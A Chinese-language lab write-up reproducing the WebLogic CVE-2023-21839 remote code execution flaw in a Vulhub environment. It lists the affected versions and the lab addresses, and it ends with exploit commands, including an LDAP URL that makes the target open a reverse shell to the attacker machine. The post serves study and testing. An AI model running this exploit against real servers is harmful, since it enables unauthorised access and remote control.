【漏洞复现】Weblogic CVE-2023-21839-Toy模板网

这篇具有很好参考价值的文章主要介绍了【漏洞复现】Weblogic CVE-2023-21839。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、漏洞简介

1. 产品简介

WebLogic是Oracle公司研发的用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器，在全球范围内被广泛使用。

2. 漏洞简介

Oracle发布安全公告，修复了一个存在于WebLogic Core中的远程代码执行漏洞（CVE-2023-21839），可在未经身份验证的情况下通过T3、IIOP协议远程访问并破坏易受攻击的WebLogic Server，成功利用该漏洞可能导致未授权访问和敏感信息泄露。

3. 危害等级

高危

4. 影响范围

Oracle Weblogic Server 12.2.1.3.0

Oracle Weblogic Server 12.2.1.4.0

Oracle Weblogic Server 14.1.1.0.0

二、复现环境

靶机（搭建的Vulhub漏洞测试靶场）：192.168.15.15
攻击机（kali）：192.168.15.131
Vulhub漏洞测试靶场的搭建可参考：Vulhub漏洞测试靶场搭建

三、复现过程

1. 启动漏洞环境

使用Vulhub启动漏洞环境

【漏洞复现】Weblogic CVE-2023-21839

2. 验证漏洞环境

访问链接：http://192.168.15.15:7001/console/login/LoginForm.jsp 即可访问到后台管理登录界面，出现以下界面证明环境搭建成功。

【漏洞复现】Weblogic CVE-2023-21839

3. 漏洞复现

用到的两个工具：JNDIExploit-1.2-SNAPSHOT.jar、CVE-2023-21839

第一步：使用工具JNDIExploit-1.2-SNAPSHOT.jar在kali上设置监听：
【漏洞复现】Weblogic CVE-2023-21839
第二步：打开kali监听端口

第三步：使用CVE-2023-21839工具来进行攻击测试（将工具上传至kali进行编译，然后再执行）

cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 192.168.15.15 -port 7001 -ldap ldap://192.168.15.131:1389/Basic/ReverseShell/192.168.15.131/6666